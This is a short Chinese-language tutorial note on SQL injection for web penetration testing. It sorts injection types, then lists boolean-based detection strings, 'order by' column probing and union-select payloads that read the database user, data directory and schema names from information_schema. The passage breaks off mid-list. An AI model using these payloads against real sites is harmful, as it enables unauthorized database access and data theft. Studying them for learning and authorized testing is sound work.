WEB渗透 - SQL注入(持续更新)
SQL注入 按变量类型分:数字型和字符型 按HTTP提交方式分:POST注入、GET注入和Cookie注入 按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入 按数据库类型分: sql:oracle、mysql、mssql、access、sqlite、postgersql nosql:mongodb、redis 布尔型 0x01 检测有无注入 1' and '1'='1 1' and '1'='2 简化版 1' and '1 1' and '0 猜测服务器端查询语句是:select xx from table where id='1' 0x02 检测表的列数 ' order by 10 --+ 猜测服务器端查询语句是:select xx from table where id=' ' order by 10 --' 0x03 检测显示信息位 ' union select 1,2 -- union联合查询,同时显示多个select查询结果 0x04 显示信息位替换成查询语句 ' union select user(),@@datadir -- 从元数据表information_schema查询信息 0x001 查库名 ' union select schema_name from information_schema.schemata -- 0x002